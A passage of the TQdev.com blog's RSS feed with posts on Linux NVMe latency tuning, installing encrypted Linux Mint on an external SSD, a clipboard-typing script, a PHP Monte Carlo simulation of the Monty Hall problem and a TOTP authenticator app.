tutorial we showed that we can make Debian look like Mint XFCE (and I like how
that looks and how fast it feels). It does requires some tinkering, but this is
a nice opportunity to learn all the settings that can be tweaked.</p>
<p>Enjoy!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=X-XW6YQ_uAI">Youtube - Installing and Configuring XFCE on LMDE</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Celebrating 9 years TQdev.com</title>
      <link>https://www.tqdev.com/2025-celebrating-9-years-tqdev-com/</link>
      <pubDate>Sun, 31 Aug 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-celebrating-9-years-tqdev-com/</guid>
      <description>&lt;p&gt;Today I am celebrating the 9 years that the TQdev.com blog exists. In this
period I have written 237 blog posts on various software development related
topics. Best visited post is now
&amp;ldquo;&lt;a href=&#34;https://tqdev.com/2022-luks-with-usb-unlock&#34;&gt;LUKS with USB unlock&lt;/a&gt;&amp;rdquo; with more
than 42 thousand visitors. Below you find the visitors of the blog per month.&lt;/p&gt;
&lt;h3 id=&#34;visitors-graph&#34;&gt;Visitors graph&lt;/h3&gt;
&lt;p&gt;The graph below is a (copy of) a server side generated SVG document from the
backend of this blog. As you can see the number of visitors has roughly doubled
in the last 2 years!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Today I am celebrating the 9 years that the TQdev.com blog exists. In this
period I have written 237 blog posts on various software development related
topics. Best visited post is now
&ldquo;<a href="https://tqdev.com/2022-luks-with-usb-unlock">LUKS with USB unlock</a>&rdquo; with more
than 42 thousand visitors. Below you find the visitors of the blog per month.</p>
<h3 id="visitors-graph">Visitors graph</h3>
<p>The graph below is a (copy of) a server side generated SVG document from the
backend of this blog. As you can see the number of visitors has roughly doubled
in the last 2 years!</p>
<p>
  
    <img src="/uploads/2025/celebrating.svg" alt="celebrating" />
  
</p>
<p>NB: Visitors are counted based on the different IP address in the log per day,
e.g. a visitor is defined as a unique IP address on a day.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Check your NMVe drive I/O latency, disable APST</title>
      <link>https://www.tqdev.com/2025-check-your-nmve-drive-i-o-latency-disable-apst/</link>
      <pubDate>Sat, 30 Aug 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-check-your-nmve-drive-i-o-latency-disable-apst/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve got a ADATA SX8200PNP (XPG SX8200 Pro PCIe Gen3x4 M.2 2280 2TB NMVe) and it
is not as performant as I would like. I&amp;rsquo;ve found this out by running a simple
I/O ping test (using the &amp;ldquo;ioping&amp;rdquo; tool). In this post I&amp;rsquo;ll explain how you can
do this test to see whether or not you are affected as well and what you can do
to make your SSD 5-10x more responsive.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;ve got a ADATA SX8200PNP (XPG SX8200 Pro PCIe Gen3x4 M.2 2280 2TB NMVe) and it
is not as performant as I would like. I&rsquo;ve found this out by running a simple
I/O ping test (using the &ldquo;ioping&rdquo; tool). In this post I&rsquo;ll explain how you can
do this test to see whether or not you are affected as well and what you can do
to make your SSD 5-10x more responsive.</p>
<h3 id="test-your-nmve-latency">Test your NMVe latency</h3>
<p>First we install the test tool:</p>
<pre><code>sudo apt install ioping
</code></pre>
<p>Now run:</p>
<pre><code>ioping -c 10 /tmp
</code></pre>
<p>You should see something like this:</p>
<pre><code>4 KiB &lt;&lt;&lt; /tmp (ext4 /dev/dm-1 1.79 TiB): request=1 time=97.9 us (warmup)
4 KiB &lt;&lt;&lt; /tmp (ext4 /dev/dm-1 1.79 TiB): request=2 time=337.5 us
4 KiB &lt;&lt;&lt; /tmp (ext4 /dev/dm-1 1.79 TiB): request=3 time=394.8 us
4 KiB &lt;&lt;&lt; /tmp (ext4 /dev/dm-1 1.79 TiB): request=4 time=329.8 us
4 KiB &lt;&lt;&lt; /tmp (ext4 /dev/dm-1 1.79 TiB): request=5 time=251.2 us
4 KiB &lt;&lt;&lt; /tmp (ext4 /dev/dm-1 1.79 TiB): request=6 time=407.1 us
4 KiB &lt;&lt;&lt; /tmp (ext4 /dev/dm-1 1.79 TiB): request=7 time=376.4 us
4 KiB &lt;&lt;&lt; /tmp (ext4 /dev/dm-1 1.79 TiB): request=8 time=387.8 us
4 KiB &lt;&lt;&lt; /tmp (ext4 /dev/dm-1 1.79 TiB): request=9 time=353.4 us
4 KiB &lt;&lt;&lt; /tmp (ext4 /dev/dm-1 1.79 TiB): request=10 time=366.5 us

--- /tmp (ext4 /dev/dm-1 1.79 TiB) ioping statistics ---
9 requests completed in 3.20 ms, 36 KiB read, 2.81 k iops, 11.0 MiB/s
generated 10 requests in 9.00 s, 40 KiB, 1 iops, 4.44 KiB/s
min/avg/max/mdev = 251.2 us / 356.1 us / 407.1 us / 44.3 us
</code></pre>
<p>If you see times above 1 ms (milliseconds = 1000 us) then something is wrong. I
had times reported of 2.8 ms before I applied the fix below. If your times are
under 1 ms then they are okay. I have seen some very fast NVMe drives report
about 200 us on average.</p>
<h3 id="improve-your-nmve-latency">Improve your NMVe latency</h3>
<p>Edit the grub config:</p>
<pre><code>sudo nano /etc/default/grub
</code></pre>
<p>Now add &ldquo;<code>nvme_core.default_ps_max_latency_us=0</code>&rdquo; to end of default kernel line.
Change this line:</p>
<pre><code>GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet splash&quot;
</code></pre>
<p>into the following:</p>
<pre><code>GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet splash nvme_core.default_ps_max_latency_us=0&quot;
</code></pre>
<p>Save the file and exit and run the following command to make the configuration
effective:</p>
<pre><code>sudo update-grub
</code></pre>
<p>Now reboot. After rebooting you will see that the I/O ping test reports lower
latency.</p>
<p>Enjoy!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://unix.stackexchange.com/questions/612096/clarifying-nvme-apst-problems-for-linux">StackExchange - clarifying nvme apst problems for linux</a></li>
<li><a href="https://forums.linuxmint.com/viewtopic.php?t=407550">Linux Mint Forums - Unable to apply &ldquo;<code>nvme_core.default_ps_max_latency_us=0</code>&rdquo;</a></li>
<li><a href="https://www.reddit.com/r/Ubuntu/comments/ner6xz/what_does_nvme_coredefault_ps_max_latency_us0_mean/">Reddit - What does &ldquo;<code>nvme_core.default_ps_max_latency_us=0</code>&rdquo; mean?</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Installing encrypted Linux Mint on an external SSD</title>
      <link>https://www.tqdev.com/2025-installing-encrypted-linux-mint-on-an-external-ssd/</link>
      <pubDate>Fri, 29 Aug 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-installing-encrypted-linux-mint-on-an-external-ssd/</guid>
      <description>&lt;p&gt;Linux Mint can be installed on an external SSD. Simply boot from this SSD on any
other machine and it just works! You can easily buy a fast, large and durable
external SSD nowadays. Unfortunately installing Linux Mint on a an external SSD
is not so straightforward due to a bug in the installer. In this post I&amp;rsquo;ll
explain you how to work around this bug in the installer of Linux Mint, my
favorite desktop distribution.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Linux Mint can be installed on an external SSD. Simply boot from this SSD on any
other machine and it just works! You can easily buy a fast, large and durable
external SSD nowadays. Unfortunately installing Linux Mint on a an external SSD
is not so straightforward due to a bug in the installer. In this post I&rsquo;ll
explain you how to work around this bug in the installer of Linux Mint, my
favorite desktop distribution.</p>
<h3 id="hardware">Hardware</h3>
<p>I used a (relatively) cheap &ldquo;Kingston XS1000 1TB&rdquo; (80 eur), but you may use any
M2 NVMe enclosure that supports USB 3.0 or higher and UASP. It should ideally be
an external drive rated for 1000 MB/sec or more in read performance to ensure
you are dealing with an external SSD that is as fast as your internal disk (and
also durable enough).</p>
<h3 id="workarounds">Workarounds</h3>
<p><strong>Method A</strong>: The safest way to install Linux Mint to an external SSD is to
remove the internal disk from the machine, connect the external SSD over USB and
do the installation as you normally would (no manual partitioning or bug
workaround needed).</p>
<p><strong>Method B</strong>: You can also create a virtual machine (with EFI boot). You need
the install ISO as the first disk (CDROM) in the VM and connect the external USB
disk (using USB forwarding) as the second disk in the VM. This is the fastest,
easiest (and recommended) way to install Linux onto an external SSD.</p>
<p>So really, there is no need to run into trouble. Use one of these two methods
and you can skip reading this article. If you insist on running the installation
on your Linux or Windows laptop, or you already did and want to understand what
went wrong, please read on.</p>
<h3 id="disclaimer">Disclaimer</h3>
<p>IMPORTANT! Playing with disks and their partitions is risky. You may end up with
a system that does not boot anymore from the internal disk or even with an
internal disk that is completely wiped. Always make a backup of all disks in the
system before you start.</p>
<h3 id="problem">Problem</h3>
<p>People will try to install with the internal disk connected and that disk will
contain a FAT32 partition with &ldquo;boot&rdquo; flag on it. The installer seems to allow
you to select which EFI partition to use (in a &ldquo;bootloader&rdquo; dropdown).
Unfortunately this selection is ignored as this selection is only relevant for
systems using legacy boot (nobody does this anymore). Instead the installer
overwrites the first FAT32 partition it finds that has a &ldquo;boot&rdquo; flag set (the
one on your internal disk).</p>
<p>This will lead to a system that can neither boot from the internal disk nor from
the external disk on another system. Because of this strange behavior (a bug in
my opinion) you have to remove the &ldquo;boot&rdquo; flag of the internal disk before you
start installing on the external SSD. When you are done installing you can put
the &ldquo;boot&rdquo; flag back on the partition of the internal disk.</p>
<p>To restore the overwritten EFI partition on the internal disk you can use the
tool &ldquo;boot-repair&rdquo; from the terminal before starting the Linux Mint
installation. I&rsquo;ve had to do this many times when writing this aricle.</p>
<h3 id="scope-of-the-bug">Scope of the bug</h3>
<p>The Linux Mint 22 installer is affected and so is Debian 13 netinst (both are
Ubiquity based). The problem might be resolved in the Calamares installer, that
is included on the Debian 13 Live ISOs (and many other distributions, including
Arch btw). If you don&rsquo;t care specifically for Linux Mint XFCE, then you may give
Debian 13 Cinnamon a try.</p>
<h3 id="requirements">Requirements</h3>
<ul>
<li>A thumb drive with the Linux installer on it.</li>
<li>A fast external SSD that can be wiped.</li>
</ul>
<h3 id="procedure">Procedure</h3>
<p>Boot from the thumb drive that has the Linux installer into a Linux Live
environment.</p>
<p>First we will prepare the external SSD.</p>
<ul>
<li>Start &ldquo;gparted&rdquo;</li>
<li>Select the external SSD from the list</li>
<li>Now from the &ldquo;Device&rdquo; menu on the top choose &ldquo;Create Partition Table&hellip;&rdquo;</li>
<li>Select table type &ldquo;gpt&rdquo; and click &ldquo;Apply&rdquo;</li>
<li>Close &ldquo;gparted&rdquo;</li>
</ul>
<p>Now the external SSD is clean and ready to be used as an external disk.</p>
<p>Next we are going to remove the &ldquo;boot&rdquo; flag from the internal disk(s)</p>
<ul>
<li>Start &ldquo;gparted&rdquo;</li>
<li>Select the internal disk from the list in the upper right</li>
<li>Right click the partition with flags &ldquo;boot,esp&rdquo;</li>
<li>Choose &ldquo;Manage Flags&rdquo; and uncheck the &ldquo;boot&rdquo; flag (the &ldquo;esp&rdquo; flag is also
removed)</li>
<li>Close &ldquo;gparted&rdquo;</li>
</ul>
<p>Note that changes to the flags are immediately effective.</p>
<p>Now the Linux Mint installer can be started.</p>
<ul>
<li>Start the installer and answer questions until you see &ldquo;Installation type&rdquo;</li>
<li>Do NOT choose &ldquo;Erase disk and install Linux Mint&rdquo;, but choose &ldquo;Something else&rdquo;
to enter a custom partition configuration.</li>
<li>Select the partitions on the internal disk and click &ldquo;Change&hellip;&rdquo;</li>
<li>Ensure that on &ldquo;Use as&rdquo; the value &ldquo;do not use partition&rdquo; is set on each of
them.</li>
<li>Create the following 3 partitions on the external disk (in the free space):
<ul>
<li>A 512 MB &ldquo;EFI System Partition&rdquo;.</li>
<li>A 2048 MB partition with &ldquo;Ext2 journaling file system&rdquo; and mount point set
to &ldquo;/boot&rdquo;.</li>
<li>A &ldquo;physical volume for encryption&rdquo; for the rest of the space.</li>
</ul>
</li>
<li>Wait for the mapper to show up on top of the partition list.</li>
<li>Set the mount point of the created ext4 partition under the mapper to &ldquo;/&rdquo;.</li>
<li>Set &ldquo;Device for bootloader installation&rdquo; to the external disk (not one of it&rsquo;s
partitions).</li>
<li>Click &ldquo;Install Now&rdquo; to start the installation and let it finish.</li>
</ul>
<p>As a last step add the &ldquo;boot&rdquo; flag again:</p>
<ul>
<li>Start &ldquo;gparted&rdquo;</li>
<li>Select the internal disk from the list in the upper right</li>
<li>Right click the partition where you removed the &ldquo;boot&rdquo; flag</li>
<li>Choose &ldquo;Manage Flags&rdquo; and check the &ldquo;boot&rdquo; flag (the &ldquo;esp&rdquo; flag is also added)</li>
<li>Close &ldquo;gparted&rdquo;</li>
</ul>
<p>Now the system can both be booted from the internal disk and the external SSD.</p>
<h3 id="performance-test">Performance test</h3>
<p>Your desktop Linux experience is in my opinion best measured by throughput and
response time. For throughput we can do a single threaded 4k random read
performance test and for response time we can do an I/O ping benchmark. By
running these two benchmarks on any drive you can determine which disk works
best for you.</p>
<pre><code>sudo apt install fio
</code></pre>
<p>To test the single threaded 4k random read performance, run:</p>
<pre><code>fio --name TEST --filename=temp.file --rw=randrw --size=20m --io_size=100m --blocksize=4k --ioengine=libaio --fsync=1 --iodepth=1 --direct=1 --numjobs=1 --runtime=60 --group_reporting
</code></pre>
<p>Look for this line with results:</p>
<pre><code>READ: bw=5594KiB/s (5728kB/s), ...
</code></pre>
<p>To test the I/O ping, run:</p>
<pre><code>ioping -c 20 .
</code></pre>
<p>Look for this line with results:</p>
<pre><code>min/avg/max/mdev = 178.9 us / 198.9 us / 231.1 us / 23.0 us
</code></pre>
<p>The above are results from my USB 3.1 connected &ldquo;Kingston XS1000 1TB&rdquo; disk under
LUKS (single threaded benchmark). I was hitting about 5600 KiB/s for the single
threaded 4K random reads with an I/O ping of about 200 us. This was better than
the my internal NMVe disk (that is also LUKS encrypted) on which I was getting
4000 KiB/s throughput and a response time of about 290 us.</p>
<h3 id="test-uasp-support">Test UASP support</h3>
<p>If your performance results are disappointing, then this may be due to the lack
of UASP (USB Attached SCSI Protocol) support. You can test for UASP support by
issuing the following command:</p>
<pre><code>$ lsusb -v -t | grep Storage -A 1
</code></pre>
<p>Look for the &ldquo;Driver=&rdquo; string on the device you connected:</p>
<pre><code>|__ Port 003: Dev 009, If 0, Class=Mass Storage, Driver=usb-storage, 480M
    ID 058f:6387 Alcor Micro Corp. Flash Drive
</code></pre>
<p>If you see &ldquo;usb-storage&rdquo; then UASP is not enabled and your drive will be 2x
slower and not support TRIM and such.</p>
<pre><code>|__ Port 001: Dev 006, If 0, Class=Mass Storage, Driver=uas, 5000M
    ID 0951:1780 Kingston Technology
</code></pre>
<p>If you see &ldquo;uas&rdquo; then UASP is enabled and everything is working optimal!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1396379">bugs.launchpad.net - Bug #1396379: installer uses first EFI system partition found&hellip;</a></li>
<li><a href="https://askubuntu.com/questions/1366882/install-ubuntu-onto-an-external-ssd-using-virtualbox">Ask Ubuntu - Install Ubuntu onto an external SSD using VirtualBox?</a></li>
<li><a href="https://askubuntu.com/questions/16988/how-do-i-install-ubuntu-to-a-usb-key-without-using-startup-disk-creator/1056079#1056079">StackExchange - How do I install Ubuntu to a USB key?</a></li>
<li><a href="https://askubuntu.com/questions/1296065/dual-booting-w10-ubuntu-with-2-separate-ssds-in-uefi-mode/1296153#1296153">Ask Ubuntu - Dual Booting W10/Ubuntu with 2 separate SSDs in UEFI mode</a></li>
<li><a href="https://www.youtube.com/watch?v=0gSr8YsJtd0">YouTube - How To Dual Boot Linux Mint And Windows Safely - Avoid Boot Issues</a></li>
<li><a href="https://www.youtube.com/watch?v=MNVnO2aPB_c">YouTube - Ubuntu 22.04 on portable bootable external SSD</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Script to type clipboard content in a remote console</title>
      <link>https://www.tqdev.com/2025-script-to-type-clipboard-content-in-a-remote-console/</link>
      <pubDate>Thu, 28 Aug 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-script-to-type-clipboard-content-in-a-remote-console/</guid>
      <description>&lt;p&gt;As an IT professional, I often work on remote consoles, especially during
installations or troubleshooting. Once SSH is set up, copying and pasting text
is easy. However, to gain access initially, I need to enter my public key on the
remote machine. Sometimes this has to be done through a VNC console, or even a
Java or Spice console window. While modern ed25519 public keys are only about 50
characters (much shorter than old RSA keys) it&amp;rsquo;s still tedious to type them in
by hand.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>As an IT professional, I often work on remote consoles, especially during
installations or troubleshooting. Once SSH is set up, copying and pasting text
is easy. However, to gain access initially, I need to enter my public key on the
remote machine. Sometimes this has to be done through a VNC console, or even a
Java or Spice console window. While modern ed25519 public keys are only about 50
characters (much shorter than old RSA keys) it&rsquo;s still tedious to type them in
by hand.</p>
<p>
  
    <img src="/uploads/2025/type-clipboard-demo_hu_8ecca389dc48b73b.webp" alt="demo"  />
  
</p>
<p>This small but annoying problem made me want a better solution. I usually play
around with bash scripts and xdotool commands, but I always forget the exact
syntax, and it&rsquo;s not very user-friendly. I appreciate how modern terminals show
an edit window for multi-line pastes, allowing you to verify or modify the
contents. I wanted a &ldquo;type the clipboard&rdquo; application that uses this concept. I
also dislike the typical 2 to 5 second delay in most tools, which is meant to
give you time to select the correct window, but if you&rsquo;re not fast enough, your
clipboard content might be typed somewhere unintended.</p>
<p>I also wanted an icon to click for activating clipboard typing, a shortcut that
can be added to a panel, and an application entry in the main menu. It should be
easy to bind the script to a shortcut, and also available from the terminal,
since that&rsquo;s where I spend most of my time. These requirements led me to write
my own script in bash that uses xclip, xdotool and yad.</p>
<p>I wrote a single-file bash script that fulfills all my needs. This Linux script
works only on X11 based desktop environments, such as Cinnamon, XFCE, MATE, LXQt
or Budgie. It does not work on GNOME or KDE Plasma, as those are Wayland based.
This is fine for me as I currently prefer to use Linux Mint 22 with XFCE or
Debian 13 with Cinnamon. A Wayland version could be made in the future, but
that&rsquo;s a separate project. The script is open source (MIT licensed) and
available on my GitHub:</p>
<p><a href="https://github.com/mevdschee/type-clipboard.sh">https://github.com/mevdschee/type-clipboard.sh</a></p>
<p>I hope you like it as much as I do. Enjoy!</p>
<p>NB: If you have ideas for improvements, please open an issue in the tracker.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://github.com/POMATu/xdotool-type-clipboard">xdotool-type-clipboard - A simple bash script using xdotool and a delay</a></li>
<li><a href="https://github.com/jlaundry/TypeClipboard">TypeClipboard - A Windows application written in C#</a></li>
<li><a href="https://github.com/DoingFedTime/PyTyper">PyTyper - A Python implementation of a clipboard typer</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>A Monte Carlo simulation of the Monty Hall problem</title>
      <link>https://www.tqdev.com/2025-a-monte-carlo-simulation-of-the-monty-hall-problem/</link>
      <pubDate>Wed, 20 Aug 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-a-monte-carlo-simulation-of-the-monty-hall-problem/</guid>
      <description>&lt;p&gt;The Monty Hall problem is a probability puzzle. It has no logical contradiction,
but for many people the result goes against their intuition. The problem
originates from the American television game show &amp;ldquo;Let&amp;rsquo;s Make a Deal&amp;rdquo;. It is
named after its original host, Monty Hall. The problem is stated as:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Suppose you&amp;rsquo;re on a game show, and you&amp;rsquo;re given the choice of three doors:
Behind one door is a car; behind the others, nothing. You pick a door, say No.
1, and the host, who knows what&amp;rsquo;s behind the doors, opens another door, say
No. 3, which has nothing. He then says to you, &amp;ldquo;Do you want to pick door No.
2?&amp;rdquo; Is it to your advantage to switch your choice?&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>The Monty Hall problem is a probability puzzle. It has no logical contradiction,
but for many people the result goes against their intuition. The problem
originates from the American television game show &ldquo;Let&rsquo;s Make a Deal&rdquo;. It is
named after its original host, Monty Hall. The problem is stated as:</p>
<blockquote>
<p>Suppose you&rsquo;re on a game show, and you&rsquo;re given the choice of three doors:
Behind one door is a car; behind the others, nothing. You pick a door, say No.
1, and the host, who knows what&rsquo;s behind the doors, opens another door, say
No. 3, which has nothing. He then says to you, &ldquo;Do you want to pick door No.
2?&rdquo; Is it to your advantage to switch your choice?</p></blockquote>
<p>The problem can be simplified and summarized as:</p>
<blockquote>
<p>If your initial guess is the car (chance 1/3) then you shouldn&rsquo;t switch,
otherwise you should (and you will win).</p></blockquote>
<p>To see that this is the case you can write down all possibilities or you can do
what I did: a Monte Carlo simulation.</p>
<h3 id="monte-carlo-in-php">Monte Carlo in PHP</h3>
<p>A Monte Carlo simulation is where you execute a probability experiment many
times using a random number generator to determine the chances of winning. Here
is the code written in PHP:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="c1">// function to determine win on monty hall problem
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">function</span> <span class="nf">monty_hall</span><span class="p">(</span><span class="k">array</span> <span class="nv">$doors</span><span class="p">,</span> <span class="nx">string</span> <span class="nv">$winner</span><span class="p">,</span> <span class="nx">string</span> <span class="nv">$chosen</span><span class="p">,</span> <span class="nx">bool</span> <span class="nv">$change</span><span class="p">)</span><span class="o">:</span> <span class="nx">bool</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="k">true</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// choose a random door to open
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$open</span> <span class="o">=</span> <span class="nv">$doors</span><span class="p">[</span><span class="nx">array_rand</span><span class="p">(</span><span class="nv">$doors</span><span class="p">)];</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// if door is not winning and not chosen open it
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">if</span> <span class="p">(</span><span class="nv">$open</span> <span class="o">!=</span> <span class="nv">$winner</span> <span class="o">&amp;&amp;</span> <span class="nv">$open</span> <span class="o">!=</span> <span class="nv">$chosen</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// remove the open door from the array
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nv">$doors</span> <span class="o">=</span> <span class="nx">array_diff</span><span class="p">(</span><span class="nv">$doors</span><span class="p">,</span> <span class="p">[</span><span class="nv">$open</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// do you want to change?
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="nv">$change</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// remove the chosen door
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$doors</span> <span class="o">=</span> <span class="nx">array_diff</span><span class="p">(</span><span class="nv">$doors</span><span class="p">,</span> <span class="p">[</span><span class="nv">$chosen</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// choose another door
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$chosen</span> <span class="o">=</span> <span class="nv">$doors</span><span class="p">[</span><span class="nx">array_rand</span><span class="p">(</span><span class="nv">$doors</span><span class="p">)];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$chosen</span> <span class="o">==</span> <span class="nv">$winner</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// monte carlo simulation to determine win chance of monty hall problem
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$runs</span> <span class="o">=</span> <span class="mi">100000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$wins</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;</span> <span class="nv">$runs</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// doors is an array of closed doors
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nv">$doors</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;Door 1&#34;</span><span class="p">,</span> <span class="s2">&#34;Door 2&#34;</span><span class="p">,</span> <span class="s2">&#34;Door 3&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// choose a random winning door
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nv">$winner</span> <span class="o">=</span> <span class="nv">$doors</span><span class="p">[</span><span class="nx">array_rand</span><span class="p">(</span><span class="nv">$doors</span><span class="p">)];</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// choose a random door to open
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nv">$chosen</span> <span class="o">=</span> <span class="nv">$doors</span><span class="p">[</span><span class="nx">array_rand</span><span class="p">(</span><span class="nv">$doors</span><span class="p">)];</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// increment win count on win
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="nx">monty_hall</span><span class="p">(</span><span class="nv">$doors</span><span class="p">,</span> <span class="nv">$winner</span><span class="p">,</span> <span class="nv">$chosen</span><span class="p">,</span> <span class="k">true</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$wins</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">echo</span> <span class="nx">round</span><span class="p">(</span><span class="mi">100</span> <span class="o">*</span> <span class="nv">$wins</span> <span class="o">/</span> <span class="nv">$runs</span><span class="p">)</span> <span class="o">.</span> <span class="s2">&#34;%</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span></code></pre></div><p>See:
<a href="https://github.com/mevdschee/monty-hall-problem/blob/main/monty-carlo.php">https://github.com/mevdschee/monty-hall-problem</a></p>
<p>Happy coding!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://en.wikipedia.org/wiki/Monty_Hall_problem">Wikipedia - Monty Hall problem</a></li>
<li><a href="https://rosettacode.org/wiki/Monty_Hall_problem">Rosetta Code - Monty Hall problem</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Fyne Authenticator needs you to succeed!</title>
      <link>https://www.tqdev.com/2025-fyne-authenticator-needs-you-to-succeed/</link>
      <pubDate>Fri, 23 May 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-fyne-authenticator-needs-you-to-succeed/</guid>
      <description>&lt;p&gt;I just published Fyne Authenticator: an open source TOTP soft token
implementation that is written in Go and uses Zbar for QR scanning. On desktop
it lives in the system tray and it uses the keyring to store the encryption
password for a seamless experience. Although the application has the potential
to run on many platforms it is currently only tested under Debian (based) Linux.
For a Windows, Android and/or iOS release I may need your help.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I just published Fyne Authenticator: an open source TOTP soft token
implementation that is written in Go and uses Zbar for QR scanning. On desktop
it lives in the system tray and it uses the keyring to store the encryption
password for a seamless experience. Although the application has the potential
to run on many platforms it is currently only tested under Debian (based) Linux.
For a Windows, Android and/or iOS release I may need your help.</p>
<blockquote>
<p>With Fyne Authenticator I don&rsquo;t have to unlock my phone to find a TOTP code.
Clicking in the system tray menu copies the latest code to the clipboard.</p></blockquote>
<p>The most important feature is that it can read QR codes from the webcam. This
way it can read individual new TOTP tokens and Google Authenticator exports. It
uses the Zbar library for that. This allows you to move away from Google
Authenticator to the Linux desktop. Some people argue that this is a must to
prevent remote deletion of your TOTP tokens.</p>
<p>Another great feature of Fyne Authenticator is the possibility to export your
entire set of TOTP tokens as a zip file containing a QR code as png file for
each of your tokens. This allows you to easily migrate away from Google
Authenticator to any other TOTP manager.</p>
<blockquote>
<p>Fyne Authenticator helps me to deGoogle my life by allowing me to move away
from Google Authenticator.</p></blockquote>
<p>Are you a software developer and do you want to make Windows installer or an
Android or iOS release? Contact me via Github.</p>
<h3 id="links">Links</h3>
<p>Here are the links to download and install the software:</p>
<ul>
<li>Fyne apps:
<a href="https://apps.fyne.io/apps/com.tqdev.fyne-authenticator.html">https://apps.fyne.io/apps/com.tqdev.fyne-authenticator.html</a></li>
<li>Github:
<a href="https://github.com/mevdschee/fyne-authenticator">https://github.com/mevdschee/fyne-authenticator</a></li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>MintyPHP Forms: a flexible PHP form builder</title>
      <link>https://www.tqdev.com/2025-mintyphp-flexible-php-form-builder/</link>
      <pubDate>Sun, 18 May 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-mintyphp-flexible-php-form-builder/</guid>
      <description>&lt;p&gt;Forms play an important role in business software. Business software typically
loads data from a relational database into a form, allows users to change the
data and then saves the data from the form back into the database. If you make a
lot of business software you have to create and design a lot of forms. To allow
you to create nice looking forms (using Bulma for instance) without having to
type a lot of boilerplate code I created MintyPHP Forms.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Forms play an important role in business software. Business software typically
